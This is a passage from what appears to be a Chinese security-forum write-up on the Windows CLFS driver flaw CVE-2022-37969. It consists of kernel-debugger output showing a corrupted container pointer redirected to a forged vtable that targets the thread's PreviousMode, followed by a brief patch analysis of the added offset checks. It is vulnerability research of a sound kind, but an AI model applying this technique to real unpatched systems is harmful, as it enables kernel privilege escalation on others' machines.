ffffa282`9d67a500 ffffa282`9e58a3c0 00000002`00000001
ffffa282`9d67a510 00000000`00000000 005c003f`003f005c
//可以看到指向源虚表
5: kd> dps ffffa282`9e58a3c0
ffffa282`9e58a3c0 fffff803`2ce035f0 CLFS!CClfsContainer::`vftable'
ffffa282`9e58a3c8 00000000`00080000
//继续走
0: kd> p
CLFS!CClfsBaseFilePersisted::AllocSymbol+0x6c:
fffff803`2ce3020c 01af28130000 add dword ptr [rdi+1328h],ebp
//pcontainer指针高位已经没有了
0: kd> dq ffffa2829d67a500
ffffa282`9d67a500 00000000`0058a3c0 00000000`00000000
ffffa282`9d67a510 00000000`00000000 00000000`00000000
0: kd> dq 00000000`0058a3c0,//ffff8c03`80bf42aa是ThreadPreMode地址
00000000`0058a3c0 00000000`ffff0000 ffff8c03`80bf42aa
00000000`0058a3d0 00000000`ffff0000 ffff8c03`80bf42aa
0: kd> dq 00000000`ffff0000
00000000`ffff0000 00000000`12345678 fffff803`2d5f4da0
00000000`ffff0010 00000000`00000000 fffff803`2ce01cb0
//变成了我们伪造的虚表
0: kd> dps 00000000`ffff0000
00000000`ffff0000 00000000`12345678
00000000`ffff0008 fffff803`2d5f4da0 nt!SeSetAccessStateGenericMapping
00000000`ffff0010 00000000`00000000
00000000`ffff0018 fffff803`2ce01cb0 CLFS!ClfsEarlierLsn
//最后验证下我们的利用结果
2: kd> r
rax=fffff8032ce01cb0 rbx=0000000000000000 rcx=000000000058a3c0
rdx=0000000000000000 rsi=ffff8c0380bb9000 rdi=000000000058a3c0
rip=fffff8032ce16efc rsp=ffff9c034e2295e0 rbp=0000000000000400
r8=ffff9c034e2295b0 r9=0000000000000000 r10=0000000000000000
r11=ffff9c034e229570 r12=0000000000000000 r13=0000000000000001
r14=0000000000001400 r15=ffffa2829d67a4e8
iopl=0 nv up ei pl zr na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040246
CLFS!CClfsBaseFilePersisted::RemoveContainer+0x14c:
fffff803`2ce16efc ff15ced6ffff call qword ptr [CLFS!_guard_dispatch_icall_fptr (fffff803`2ce145d0)] ds:002b:fffff803`2ce145d0={CLFS!guard_dispatch_icall_nop (fffff803`2cdfc780)}
2: kd> k
# Child-SP RetAddr Call Site
00 ffff9c03`4e2295e0 fffff803`2cdf120b CLFS!CClfsBaseFilePersisted::RemoveContainer+0x14c
01 ffff9c03`4e229640 fffff803`2cdf8b0f CLFS!CClfsLogFcbPhysical::DeleteBaseFileAndContainers+0xf3
02 ffff9c03`4e229690 fffff803`2cdf8761 CLFS!CClfsLogFcbPhysical::Finalize+0x39b
03 ffff9c03`4e2296c0 fffff803`2ce1df42 CLFS!CClfsLogFcbPhysical::Release+0xb1
04 ffff9c03`4e229720 fffff803`2ce20878 CLFS!CClfsRequest::Close+0xd6
05 ffff9c03`4e229770 fffff803`2ce20747 CLFS!ClfsDispatchIoRequest+0x108
06 ffff9c03`4e2297c0 fffff803`2d2adac5 CLFS!CClfsDriver::LogIoDispatch+0x27
07 ffff9c03`4e2297f0 fffff803`2d5f288f nt!IofCallDriver+0x55
08 ffff9c03`4e229830 fffff803`2d61baf0 nt!IopDeleteFile+0x14f
09 ffff9c03`4e2298b0 fffff803`2d2b01a7 nt!ObpRemoveObjectRoutine+0x80
0a ffff9c03`4e229910 fffff803`2d624449 nt!ObfDereferenceObjectWithTag+0xc7
0b ffff9c03`4e229950 fffff803`2d62827c nt!ObCloseHandleTableEntry+0x6c9
0c ffff9c03`4e229a90 fffff803`2d40c2b5 nt!NtClose+0xec
0d ffff9c03`4e229b00 00007ff9`67b0d124 nt!KiSystemServiceCopyEnd+0x25
0e 0000006c`0e6fdf18 00007ff9`6528a405 ntdll!NtClose+0x14
0f 0000006c`0e6fdf20 00000000`00000000 0x00007ff9`6528a405
2: kd> ln rax
Browse module
Set bu breakpoint
(fffff803`2ce01cb0) CLFS!ClfsEarlierLsn | (fffff803`2ce01d00) CLFS!ClfsLaterLsn
五
CVE-2022-37969补丁分析
signed __int64 __fastcall CClfsBaseFile::ValidateOffsets(CClfsBaseFile *this, struct _CLFS_BASE_RECORD_HEADER *const a2)
{
hr = CClfsBaseFile::ValidateContainerContextOffsets(v3, v7, v2);
if ( hr < 0
|| (hr = CClfsBaseFile::ValidateClientContextOffsets(v3, v7, v2), hr < 0)
|| (hr = CClfsBaseFile::ValidateContainerSymTblOffsets(v3, v7, v2), hr < 0)
|| (hr = CClfsBaseFile::ValidateClientSymTblOffsets(v3, v7, v2), hr < 0) )
{
return error;
}
signed __int64 __fastcall CClfsBaseFile::ValidateCheckifWithinSymbolZone(CClfsBaseFile *this, unsigned int offset, struct _CLFS_BASE_RECORD_HEADER *hdr)
{
if ( offset < 0x1338 || offset - 0x1338 > hdr->cbSymbolZone )
return = 0xC01A000Di64; else return = 0i64;
}
六
相关引用
clfs逆向工程文档(https://github.com/ionescu007/clfs-docs/)
看雪ID:王cb
https://bbs.pediy.com/user-home-609565.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!